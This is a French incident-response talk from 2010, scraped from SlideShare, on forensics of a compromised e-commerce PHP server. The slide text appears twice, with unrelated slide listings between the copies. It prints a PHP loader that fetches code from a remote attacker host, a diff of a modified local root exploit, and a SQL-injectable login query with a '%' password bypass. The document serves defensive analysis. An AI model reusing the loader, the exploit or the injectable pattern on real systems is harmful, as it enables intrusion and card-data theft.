SlideShare una empresa de Scribd logo
1 de 21
Description g´en´erale
Investigations
Conclusions
Incident sur serveur Web
Pierre-Yves Bonnetain
pyb@ba-consultants.fr
B&A Consultants
BP 70024 – 31330 Grenade-sur-Garonne
OSSIR – ReSIST
Mardi 16 novembre 2010
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Environnement g´en´eral
Entreprise faisant du commerce ´electronique
Service web d´evelopp´e `a fa¸con par fournisseur, sur base d’un
outil sp´ecifique de ce dernier
Serveurs h´eberg´es par tierce partie
Transferts automatis´es (2 fois par jour) entre front-office Web
et back office de traitement
Facturation/encaissement li´es `a l’exp´edition des produits.
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
R`eglements en ligne
Pas de syst`eme de r`eglement bancaire externe :
Le serveur Web collecte les informations de r`eglement
(transaction SSL),
les chiffre localement (cl´e publique) et
les stocke.
Le back-office r´ecup`ere les informations chiffr´ees,
les d´echiffre (cl´e priv´ee) et
les traite.
Risques
Surtout li´es au traitement des num´eros par l’entreprise
(d´etournement, ind´elicatesse interne).
Sauf probl`eme en amont sur serveur Web.
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
D´etails importants
Flux quotidien sup´erieur `a la centaine de commandes
Syst`eme critique pour l’entreprise
Fournisseur de l’outil n’existe plus
Pas de maˆıtrise interne du syst`eme
Pas de copie du code source (sauf sur le serveur)
Pas de protections particuli`ere sur le serveur Web
Pas de maintenance/mise `a jour du syst`eme d’exploitation
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Incidents signal´es
Ruptures de stock et r´eapprovisionnements ⇒ mise en attente
de commandes (± trois semaines)
D´eblocage des commandes suite arriv´ee des produits
Constat : nombreux rejets de cartes bancaires en opposition
Le service client est au front
Statistiques, habitudes, simple vigilance. . . Ce sont les utilisateurs
(non-techniciens) qui l`event l’alarme.
Crainte d’un incident sur le front-office ou d’une ind´elicatesse
interne.
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Analyse du syst`eme
Impossible d’arrˆeter la machine
Impossible de faire une copie du disque ou de la demander `a
l’h´ebergeur
Difficile de se rendre chez l’h´ebergeur
Analyse `a chaud, au travers du r´eseau
On ne voit que ce que le syst`eme veut nous montrer
En cas de rootkit
Nous n’aurons probablement pas beaucoup d’indices.
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Examen de l’arborescence applicative
Pas de r´ef´erence
On ne peut comparer les sources du serveur Web. . .
Examen des dates de modification des fichiers applicatifs
Nombreux fichiers modifi´es depuis moins de six semaines
Liste fournie aux webmestres, qui ´eliminent ceux qu’ils ont
cr´e´es (op´erations marketing sp´eciales, etc.)
Reste une poign´ee de fichiers, correspondent `a des classes
d’objets PHP
Examen du code, pr´esence de fonctions ´ecrivant les num´eros
de CB re¸cus dans des fichiers.
Presque une bonne nouvelle
Cela semble ´eliminer l’ind´elicatesse interne.
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Fichiers mal venus
Premier signal d’un probl`eme : fichiers « bizarres » dans
/tmp/.enl
1 -rwxr-xr-x 1 apache apache 6776 07:43 e2
2 -rw-r--r-- 1 apache apache 9769 07:43 e2.c
3 -rw-r--r-- 1 apache apache 55 08:11 zz.txt
e2.c variation de linux-sendpage.c (Rise Security, 2009).
Exploit local, ´el´evation de privil`eges
Fournit un shell root
Fichiers appartiennent `a apache ⇒ pass´e via le serveur Web ?
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Diff´erences avec l’original
1 *** e2.c
2 --- linux-sendpage.c
3 ***************
4 *** 368,374 ****
5 sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
6 ! execl("/bin/bash", "bash", "/tmp/.enl/zz.txt", NULL);
7 exit(EXIT_SUCCESS);
8 }
9 --- 368,374 ----
10 sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
11 ! execl("/bin/sh", "sh", "-i", NULL);
12 exit(EXIT_SUCCESS);
13 }
Plutˆot que donner un shell root, ex´ecute le script
/tmp/.enl/zz.txt.
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
V´erification
1 $ cat ba.txt
2 id
3 $ sh ba.txt
4 uid=590(pyb) gid=590(pyb) groups=10(wheel),590(pyb)
5 $ ./ba-e2
6 uid=0(root) gid=0(root) groups=10(wheel),590(pyb)
Game over
Syst`eme potentiellement totalement compromis.
Manque de coh´erence
Syst`eme compromis, pas de traces autres, rootkit, furtivit´e. . .
pourquoi ces fichiers sont-ils rest´es ?
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Et le point d’entr´ee ?
Question importante
Comment ces programmes sont-ils arriv´es l`a ? Comment le code
applicatif a-t-il ´et´e alt´er´e ?
Autant le savoir, puisqu’il va falloir r´einstaller une machine (non
vuln´erable).
Si c’est pour se faire de nouveau d´emolir, ce n’est pas tr`es utile.
Trouver le ou les points d’entr´ee
Les fermer ou les bloquer
Un indice
Tous les fichiers modifi´es ou trouv´es appartiennent `a apache.
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Journaux du serveur web
Recherche de traces d’injections (SQL ou autres).
Pas d´e¸cus du r´esultat : tests venants Croatie, Vietnam, Chine,
USA. . .
Une partie se terminant en 404 Not Found
Mais de tr`es nombreux en 200 OK
Injections SQL trivialement confirm´ees en examinant le code
Une remarque
Si seulement injection SQL, ne r´epond pas vraiment `a nos
interrogations ⇒ injections de commandes, acc`es au syst`eme de
fichiers ? ? ?
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Nettoyage par le vide
Identification dans les journaux des requˆetes « l´egitimes » et
nettoyage progressif
C’est long et peu passionnant, mais. . .
D´etection requˆete GET sur un fichier tar.gz, code HTTP 200
OK, taille plusieurs dizaines de Mo.
Recherches des requˆetes associ´ees cette adresse IP.
Identification de deux « points d’entr´ee » : fichiers PHP
d´epos´es sur le syst`eme : un chargeur, et un webshell.
Identification d’autres adresses IP ayant activ´e le chargeur ou
le webshell
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Le chargeur
Code PHP t´el´echargeant et installant sur le serveur un autre
programme PHP. Extrait :
1 <? php error_reporting(6143);
2 ini_set(’display_errors’, ’On’);
3 file_put_contents(’abcd.php’,
4 file_get_contents(’http://le.mechant.ru/abcd.php’))
5 ?>
On n’a pas tout perdu
Adresse d’un serveur auquel l’agresseur a acc`es (ou qu’il a pirat´e).
En Russie.
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Le webshell
Ancienne version de KA_ushell
Modifi´e pour ´eliminer l’authentification
Fonctions propos´ees :
Acc`es `a l’interpr´eteur de commandes
Acc`es `a l’interpr´eteur PHP
Envoi de fichiers sur le serveur
Toujours une question
Comment le premier programme (le chargeur) est-il arriv´e l`a ?
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Analyse des requˆetes
Deux adresses IP ont invoqu´e le chargeur
Extraction de toutes les requˆetes provenant de ces adresses
Requˆetes POST sur des URLs administratives, code 200 OK
Fonctions permettant de modifier certains r´epertoires du
serveur web
Edition limit´ee (code int´egr´e au cadre de l’application)
Acc`es prot´eg´e par compte et mot de passe (applicatif)
Trois possibilit´es
Ind´elicatesse d’un administrateur ou ancien collaborateur, vol d’un
compte/mot de passe, contournement de l’authentification.
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Routine d’authentification
$login et $pass contiennent les donn´ees issues directement de la
requˆete de l’internaute.
1 if ($login && $pass) {
2 $query = "SELECT id FROM $this->identifiants
3 WHERE login = ’$login’
4 AND password LIKE ’$pass’";
5 $this->sql_query($query);
6 ...
On aime bien aussi
La clause LIKE pour le mot de passe.
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Tentative de reconstruction du sc´enario
1 Contournement de l’authentification pour l’acc`es administratif
(injection SQL classique, ou mot de passe %)
2 Cr´eation d’un fichier PHP contenant le code du chargeur
3 D´eclenchement d’une requˆete associ´ee `a ce nouveau fichier
4 Appel du webshell
Le webshell a ´et´e utilis´e
pour installer les programmes dans /tmp/.enl
cr´eer un tar.gz de tout les fichiers source du serveur
installer s´electivement des fichiers modifi´es (enregistrement
informations de r`eglement)
Int´erˆet de l’´el´evation de privil`eges ?
Pas encore de r´eponse. . .
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Autre possibilit´e
Les traces relev´ees correspondent `a plusieurs attaques et plusieurs
attaquants ind´ependants.
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Un peu vuln´erable, n’est-il pas ?
Application semi-sp´ecifique s´erieusement fragile :
Injections SQL partout dans le code
Contournement de l’authentification d’acc`es aux fonctions
administratives
Arborescence web modifiable pour l’utilisateur apache
R´ecup´eration d’informations sensibles (num´eros de CB),
mˆeme si chiffrement local
Environnement d’exploitation plutˆot l´eger :
Pas de supervision du fonctionnement
Pas de protections au niveau syst`eme ou applicatif
Peu de filtres r´eseau en sortie du syst`eme
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
Description g´en´erale
Investigations
Conclusions
Pour le client
Perte de confiance dans son outil
Nouveaux d´eveloppements d´ej`a en cours, mais pas termin´es
R´einstallation d’un syst`eme, corrections code, dans l’urgence.
Fenˆetre d’inconfort sur plusieurs mois.
Effort de supervision, contrˆoles r´eguliers, etc.
Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web

Más contenido relacionado

Destacado

Tecnologia del concreto
Tecnologia del concretoTecnologia del concreto
Tecnologia del concretoestructura
 
¿Cómo partir un emprendimiento web sin $ ni programador?
¿Cómo partir un emprendimiento web sin $ ni programador?¿Cómo partir un emprendimiento web sin $ ni programador?
¿Cómo partir un emprendimiento web sin $ ni programador?Tadashi Takaoka Caqueo
 
Jugement appel TA Marseille Vitrolles
Jugement appel TA Marseille VitrollesJugement appel TA Marseille Vitrolles
Jugement appel TA Marseille VitrollesNicolas Botte
 
Des colonies aux Etats indépendants
Des colonies aux Etats indépendantsDes colonies aux Etats indépendants
Des colonies aux Etats indépendantsmlaugel
 
Une Balade à Vélo communiqué de presse 2014
Une Balade à Vélo communiqué de presse 2014Une Balade à Vélo communiqué de presse 2014
Une Balade à Vélo communiqué de presse 2014034479El
 
www.iguassubrasil.com
www.iguassubrasil.comwww.iguassubrasil.com
www.iguassubrasil.comguestea7511c
 
DescripcióN General De La Tierra
DescripcióN General De La TierraDescripcióN General De La Tierra
DescripcióN General De La Tierraguest11f915
 
Computer concept by tonmoy
Computer concept by tonmoyComputer concept by tonmoy
Computer concept by tonmoytonmoyts
 
Evalotta lamm
Evalotta lammEvalotta lamm
Evalotta lammClayTrain
 
C V Mr. Chandra Prakash Arela
C V Mr. Chandra Prakash Arela C V Mr. Chandra Prakash Arela
C V Mr. Chandra Prakash Arela chandra arela
 
Wealth-club Training
Wealth-club TrainingWealth-club Training
Wealth-club TrainingWealth Club
 
SOA Mainframe Service Architecture and Enablement Practices Best and Worst Pr...
SOA Mainframe Service Architecture and Enablement Practices Best and Worst Pr...SOA Mainframe Service Architecture and Enablement Practices Best and Worst Pr...
SOA Mainframe Service Architecture and Enablement Practices Best and Worst Pr...Michael Erichsen
 
4p 10cjm Deisyrosero Programacion Tarea02
4p 10cjm Deisyrosero Programacion Tarea024p 10cjm Deisyrosero Programacion Tarea02
4p 10cjm Deisyrosero Programacion Tarea02guest063eec
 

Destacado (20)

Tecnologia del concreto
Tecnologia del concretoTecnologia del concreto
Tecnologia del concreto
 
CAN
CANCAN
CAN
 
¿Cómo partir un emprendimiento web sin $ ni programador?
¿Cómo partir un emprendimiento web sin $ ni programador?¿Cómo partir un emprendimiento web sin $ ni programador?
¿Cómo partir un emprendimiento web sin $ ni programador?
 
Jugement appel TA Marseille Vitrolles
Jugement appel TA Marseille VitrollesJugement appel TA Marseille Vitrolles
Jugement appel TA Marseille Vitrolles
 
Des colonies aux Etats indépendants
Des colonies aux Etats indépendantsDes colonies aux Etats indépendants
Des colonies aux Etats indépendants
 
AF-PAK: El arco de la crisis
AF-PAK: El arco de la crisisAF-PAK: El arco de la crisis
AF-PAK: El arco de la crisis
 
Une Balade à Vélo communiqué de presse 2014
Une Balade à Vélo communiqué de presse 2014Une Balade à Vélo communiqué de presse 2014
Une Balade à Vélo communiqué de presse 2014
 
www.iguassubrasil.com
www.iguassubrasil.comwww.iguassubrasil.com
www.iguassubrasil.com
 
DescripcióN General De La Tierra
DescripcióN General De La TierraDescripcióN General De La Tierra
DescripcióN General De La Tierra
 
Computer concept by tonmoy
Computer concept by tonmoyComputer concept by tonmoy
Computer concept by tonmoy
 
Evalotta lamm
Evalotta lammEvalotta lamm
Evalotta lamm
 
Final ppp
Final pppFinal ppp
Final ppp
 
C V Mr. Chandra Prakash Arela
C V Mr. Chandra Prakash Arela C V Mr. Chandra Prakash Arela
C V Mr. Chandra Prakash Arela
 
Wealth-club Training
Wealth-club TrainingWealth-club Training
Wealth-club Training
 
SOA Mainframe Service Architecture and Enablement Practices Best and Worst Pr...
SOA Mainframe Service Architecture and Enablement Practices Best and Worst Pr...SOA Mainframe Service Architecture and Enablement Practices Best and Worst Pr...
SOA Mainframe Service Architecture and Enablement Practices Best and Worst Pr...
 
Sepsis Guidelines 2016-2017
Sepsis Guidelines 2016-2017Sepsis Guidelines 2016-2017
Sepsis Guidelines 2016-2017
 
Ch08 e
Ch08 eCh08 e
Ch08 e
 
4p 10cjm Deisyrosero Programacion Tarea02
4p 10cjm Deisyrosero Programacion Tarea024p 10cjm Deisyrosero Programacion Tarea02
4p 10cjm Deisyrosero Programacion Tarea02
 
0003elcentroespirita
0003elcentroespirita0003elcentroespirita
0003elcentroespirita
 
Revolucion Moral III
Revolucion Moral IIIRevolucion Moral III
Revolucion Moral III
 

Similar a Analyse d'un WebShell trouvé sur un serveur Web

Guide (un tout petit peu) pratique (et totalement subjectif) du stream proces...
Guide (un tout petit peu) pratique (et totalement subjectif) du stream proces...Guide (un tout petit peu) pratique (et totalement subjectif) du stream proces...
Guide (un tout petit peu) pratique (et totalement subjectif) du stream proces...Bruno Bonnin
 
F5 ltm administering big ip v11
F5 ltm administering big ip v11F5 ltm administering big ip v11
F5 ltm administering big ip v11Amine Haddanou
 
Webinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeWebinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeMarie Tapia
 
Cours 1/3 "Architecture Web"
Cours 1/3 "Architecture Web"Cours 1/3 "Architecture Web"
Cours 1/3 "Architecture Web"Adyax
 
Présentation welcom la webperf by object23
Présentation welcom la webperf by object23Présentation welcom la webperf by object23
Présentation welcom la webperf by object23Brigitte Marandon
 
Supervision d'un réseau informatique avec Nagios
Supervision d'un réseau informatique avec NagiosSupervision d'un réseau informatique avec Nagios
Supervision d'un réseau informatique avec Nagioschristedy keihouad
 
Securité des applications web
Securité des applications webSecurité des applications web
Securité des applications webMarcel TCHOULEGHEU
 
Le monitoring de la performance front
Le monitoring de la performance frontLe monitoring de la performance front
Le monitoring de la performance frontJean-Pierre Vincent
 
Sécurité des applications web: attaque et défense
Sécurité des applications web: attaque et défenseSécurité des applications web: attaque et défense
Sécurité des applications web: attaque et défenseAntonio Fontes
 
Gestion des LOGS savec syslog+loganalyzer
Gestion des LOGS savec syslog+loganalyzerGestion des LOGS savec syslog+loganalyzer
Gestion des LOGS savec syslog+loganalyzerMohamet Lamine DIOP
 
Power Shell V2 en action - avec Posh Board 2.0
Power Shell V2 en action - avec Posh Board 2.0Power Shell V2 en action - avec Posh Board 2.0
Power Shell V2 en action - avec Posh Board 2.0Patrick Guimonet
 
M365 virtualmarathon gestion des pc windows 10 - l gebeau - jy trarbach
M365 virtualmarathon   gestion des pc windows 10 - l gebeau - jy trarbachM365 virtualmarathon   gestion des pc windows 10 - l gebeau - jy trarbach
M365 virtualmarathon gestion des pc windows 10 - l gebeau - jy trarbachjean-yves Trarbach
 
chap 4 Sécurité des accès.pdf
chap 4 Sécurité des accès.pdfchap 4 Sécurité des accès.pdf
chap 4 Sécurité des accès.pdfdepinfo
 
White paper: SSTIC 2008: Advanced CSRF
White paper: SSTIC 2008: Advanced CSRFWhite paper: SSTIC 2008: Advanced CSRF
White paper: SSTIC 2008: Advanced CSRFManfred Touron
 
Spee Demo Heo
Spee Demo HeoSpee Demo Heo
Spee Demo Heohmeilhac
 
Intégration continue des projets PHP avec Jenkins
Intégration continue des projets PHP avec JenkinsIntégration continue des projets PHP avec Jenkins
Intégration continue des projets PHP avec JenkinsHugo Hamon
 

Similar a Analyse d'un WebShell trouvé sur un serveur Web (20)

Guide (un tout petit peu) pratique (et totalement subjectif) du stream proces...
Guide (un tout petit peu) pratique (et totalement subjectif) du stream proces...Guide (un tout petit peu) pratique (et totalement subjectif) du stream proces...
Guide (un tout petit peu) pratique (et totalement subjectif) du stream proces...
 
F5 ltm administering big ip v11
F5 ltm administering big ip v11F5 ltm administering big ip v11
F5 ltm administering big ip v11
 
Webinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeWebinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme Thémée
 
La Sécurité Sur Le Web
La Sécurité Sur Le WebLa Sécurité Sur Le Web
La Sécurité Sur Le Web
 
Cours 1/3 "Architecture Web"
Cours 1/3 "Architecture Web"Cours 1/3 "Architecture Web"
Cours 1/3 "Architecture Web"
 
Présentation welcom la webperf by object23
Présentation welcom la webperf by object23Présentation welcom la webperf by object23
Présentation welcom la webperf by object23
 
Supervision d'un réseau informatique avec Nagios
Supervision d'un réseau informatique avec NagiosSupervision d'un réseau informatique avec Nagios
Supervision d'un réseau informatique avec Nagios
 
Securité des applications web
Securité des applications webSecurité des applications web
Securité des applications web
 
Droit Internet
Droit Internet Droit Internet
Droit Internet
 
Le monitoring de la performance front
Le monitoring de la performance frontLe monitoring de la performance front
Le monitoring de la performance front
 
Sécurité des applications web: attaque et défense
Sécurité des applications web: attaque et défenseSécurité des applications web: attaque et défense
Sécurité des applications web: attaque et défense
 
Gestion des LOGS savec syslog+loganalyzer
Gestion des LOGS savec syslog+loganalyzerGestion des LOGS savec syslog+loganalyzer
Gestion des LOGS savec syslog+loganalyzer
 
Implémentation d'openvpn
Implémentation d'openvpnImplémentation d'openvpn
Implémentation d'openvpn
 
Power Shell V2 en action - avec Posh Board 2.0
Power Shell V2 en action - avec Posh Board 2.0Power Shell V2 en action - avec Posh Board 2.0
Power Shell V2 en action - avec Posh Board 2.0
 
M365 virtualmarathon gestion des pc windows 10 - l gebeau - jy trarbach
M365 virtualmarathon   gestion des pc windows 10 - l gebeau - jy trarbachM365 virtualmarathon   gestion des pc windows 10 - l gebeau - jy trarbach
M365 virtualmarathon gestion des pc windows 10 - l gebeau - jy trarbach
 
chap 4 Sécurité des accès.pdf
chap 4 Sécurité des accès.pdfchap 4 Sécurité des accès.pdf
chap 4 Sécurité des accès.pdf
 
White paper: SSTIC 2008: Advanced CSRF
White paper: SSTIC 2008: Advanced CSRFWhite paper: SSTIC 2008: Advanced CSRF
White paper: SSTIC 2008: Advanced CSRF
 
_JCVFr
_JCVFr_JCVFr
_JCVFr
 
Spee Demo Heo
Spee Demo HeoSpee Demo Heo
Spee Demo Heo
 
Intégration continue des projets PHP avec Jenkins
Intégration continue des projets PHP avec JenkinsIntégration continue des projets PHP avec Jenkins
Intégration continue des projets PHP avec Jenkins
 

Analyse d'un WebShell trouvé sur un serveur Web

  • 1. Description g´en´erale Investigations Conclusions Incident sur serveur Web Pierre-Yves Bonnetain pyb@ba-consultants.fr B&A Consultants BP 70024 – 31330 Grenade-sur-Garonne OSSIR – ReSIST Mardi 16 novembre 2010 Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 2. Description g´en´erale Investigations Conclusions Environnement g´en´eral Entreprise faisant du commerce ´electronique Service web d´evelopp´e `a fa¸con par fournisseur, sur base d’un outil sp´ecifique de ce dernier Serveurs h´eberg´es par tierce partie Transferts automatis´es (2 fois par jour) entre front-office Web et back office de traitement Facturation/encaissement li´es `a l’exp´edition des produits. Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 3. Description g´en´erale Investigations Conclusions R`eglements en ligne Pas de syst`eme de r`eglement bancaire externe : Le serveur Web collecte les informations de r`eglement (transaction SSL), les chiffre localement (cl´e publique) et les stocke. Le back-office r´ecup`ere les informations chiffr´ees, les d´echiffre (cl´e priv´ee) et les traite. Risques Surtout li´es au traitement des num´eros par l’entreprise (d´etournement, ind´elicatesse interne). Sauf probl`eme en amont sur serveur Web. Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 4. Description g´en´erale Investigations Conclusions D´etails importants Flux quotidien sup´erieur `a la centaine de commandes Syst`eme critique pour l’entreprise Fournisseur de l’outil n’existe plus Pas de maˆıtrise interne du syst`eme Pas de copie du code source (sauf sur le serveur) Pas de protections particuli`ere sur le serveur Web Pas de maintenance/mise `a jour du syst`eme d’exploitation Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 5. Description g´en´erale Investigations Conclusions Incidents signal´es Ruptures de stock et r´eapprovisionnements ⇒ mise en attente de commandes (± trois semaines) D´eblocage des commandes suite arriv´ee des produits Constat : nombreux rejets de cartes bancaires en opposition Le service client est au front Statistiques, habitudes, simple vigilance. . . Ce sont les utilisateurs (non-techniciens) qui l`event l’alarme. Crainte d’un incident sur le front-office ou d’une ind´elicatesse interne. Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 6. Description g´en´erale Investigations Conclusions Analyse du syst`eme Impossible d’arrˆeter la machine Impossible de faire une copie du disque ou de la demander `a l’h´ebergeur Difficile de se rendre chez l’h´ebergeur Analyse `a chaud, au travers du r´eseau On ne voit que ce que le syst`eme veut nous montrer En cas de rootkit Nous n’aurons probablement pas beaucoup d’indices. Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 7. Description g´en´erale Investigations Conclusions Examen de l’arborescence applicative Pas de r´ef´erence On ne peut comparer les sources du serveur Web. . . Examen des dates de modification des fichiers applicatifs Nombreux fichiers modifi´es depuis moins de six semaines Liste fournie aux webmestres, qui ´eliminent ceux qu’ils ont cr´e´es (op´erations marketing sp´eciales, etc.) Reste une poign´ee de fichiers, correspondent `a des classes d’objets PHP Examen du code, pr´esence de fonctions ´ecrivant les num´eros de CB re¸cus dans des fichiers. Presque une bonne nouvelle Cela semble ´eliminer l’ind´elicatesse interne. Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 8. Description g´en´erale Investigations Conclusions Fichiers mal venus Premier signal d’un probl`eme : fichiers « bizarres » dans /tmp/.enl 1 -rwxr-xr-x 1 apache apache 6776 07:43 e2 2 -rw-r--r-- 1 apache apache 9769 07:43 e2.c 3 -rw-r--r-- 1 apache apache 55 08:11 zz.txt e2.c variation de linux-sendpage.c (Rise Security, 2009). Exploit local, ´el´evation de privil`eges Fournit un shell root Fichiers appartiennent `a apache ⇒ pass´e via le serveur Web ? Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 9. Description g´en´erale Investigations Conclusions Diff´erences avec l’original 1 *** e2.c 2 --- linux-sendpage.c 3 *************** 4 *** 368,374 **** 5 sendfile(out_fd, in_fd, NULL, PAGE_SIZE); 6 ! execl("/bin/bash", "bash", "/tmp/.enl/zz.txt", NULL); 7 exit(EXIT_SUCCESS); 8 } 9 --- 368,374 ---- 10 sendfile(out_fd, in_fd, NULL, PAGE_SIZE); 11 ! execl("/bin/sh", "sh", "-i", NULL); 12 exit(EXIT_SUCCESS); 13 } Plutˆot que donner un shell root, ex´ecute le script /tmp/.enl/zz.txt. Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 10. Description g´en´erale Investigations Conclusions V´erification 1 $ cat ba.txt 2 id 3 $ sh ba.txt 4 uid=590(pyb) gid=590(pyb) groups=10(wheel),590(pyb) 5 $ ./ba-e2 6 uid=0(root) gid=0(root) groups=10(wheel),590(pyb) Game over Syst`eme potentiellement totalement compromis. Manque de coh´erence Syst`eme compromis, pas de traces autres, rootkit, furtivit´e. . . pourquoi ces fichiers sont-ils rest´es ? Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 11. Description g´en´erale Investigations Conclusions Et le point d’entr´ee ? Question importante Comment ces programmes sont-ils arriv´es l`a ? Comment le code applicatif a-t-il ´et´e alt´er´e ? Autant le savoir, puisqu’il va falloir r´einstaller une machine (non vuln´erable). Si c’est pour se faire de nouveau d´emolir, ce n’est pas tr`es utile. Trouver le ou les points d’entr´ee Les fermer ou les bloquer Un indice Tous les fichiers modifi´es ou trouv´es appartiennent `a apache. Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 12. Description g´en´erale Investigations Conclusions Journaux du serveur web Recherche de traces d’injections (SQL ou autres). Pas d´e¸cus du r´esultat : tests venants Croatie, Vietnam, Chine, USA. . . Une partie se terminant en 404 Not Found Mais de tr`es nombreux en 200 OK Injections SQL trivialement confirm´ees en examinant le code Une remarque Si seulement injection SQL, ne r´epond pas vraiment `a nos interrogations ⇒ injections de commandes, acc`es au syst`eme de fichiers ? ? ? Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 13. Description g´en´erale Investigations Conclusions Nettoyage par le vide Identification dans les journaux des requˆetes « l´egitimes » et nettoyage progressif C’est long et peu passionnant, mais. . . D´etection requˆete GET sur un fichier tar.gz, code HTTP 200 OK, taille plusieurs dizaines de Mo. Recherches des requˆetes associ´ees cette adresse IP. Identification de deux « points d’entr´ee » : fichiers PHP d´epos´es sur le syst`eme : un chargeur, et un webshell. Identification d’autres adresses IP ayant activ´e le chargeur ou le webshell Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 14. Description g´en´erale Investigations Conclusions Le chargeur Code PHP t´el´echargeant et installant sur le serveur un autre programme PHP. Extrait : 1 <? php error_reporting(6143); 2 ini_set(’display_errors’, ’On’); 3 file_put_contents(’abcd.php’, 4 file_get_contents(’http://le.mechant.ru/abcd.php’)) 5 ?> On n’a pas tout perdu Adresse d’un serveur auquel l’agresseur a acc`es (ou qu’il a pirat´e). En Russie. Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 15. Description g´en´erale Investigations Conclusions Le webshell Ancienne version de KA_ushell Modifi´e pour ´eliminer l’authentification Fonctions propos´ees : Acc`es `a l’interpr´eteur de commandes Acc`es `a l’interpr´eteur PHP Envoi de fichiers sur le serveur Toujours une question Comment le premier programme (le chargeur) est-il arriv´e l`a ? Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 16. Description g´en´erale Investigations Conclusions Analyse des requˆetes Deux adresses IP ont invoqu´e le chargeur Extraction de toutes les requˆetes provenant de ces adresses Requˆetes POST sur des URLs administratives, code 200 OK Fonctions permettant de modifier certains r´epertoires du serveur web Edition limit´ee (code int´egr´e au cadre de l’application) Acc`es prot´eg´e par compte et mot de passe (applicatif) Trois possibilit´es Ind´elicatesse d’un administrateur ou ancien collaborateur, vol d’un compte/mot de passe, contournement de l’authentification. Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 17. Description g´en´erale Investigations Conclusions Routine d’authentification $login et $pass contiennent les donn´ees issues directement de la requˆete de l’internaute. 1 if ($login && $pass) { 2 $query = "SELECT id FROM $this->identifiants 3 WHERE login = ’$login’ 4 AND password LIKE ’$pass’"; 5 $this->sql_query($query); 6 ... On aime bien aussi La clause LIKE pour le mot de passe. Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 18. Description g´en´erale Investigations Conclusions Tentative de reconstruction du sc´enario 1 Contournement de l’authentification pour l’acc`es administratif (injection SQL classique, ou mot de passe %) 2 Cr´eation d’un fichier PHP contenant le code du chargeur 3 D´eclenchement d’une requˆete associ´ee `a ce nouveau fichier 4 Appel du webshell Le webshell a ´et´e utilis´e pour installer les programmes dans /tmp/.enl cr´eer un tar.gz de tout les fichiers source du serveur installer s´electivement des fichiers modifi´es (enregistrement informations de r`eglement) Int´erˆet de l’´el´evation de privil`eges ? Pas encore de r´eponse. . . Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
  • 19. Description g´en´erale Investigations Conclusions Autre possibilit´e Les traces relev´ees correspondent `a plusieurs attaques et plusieurs attaquants ind´ependants. Pierre-Yves Bonnetain – pyb@ba-consultants.fr Incident sur serveur Web
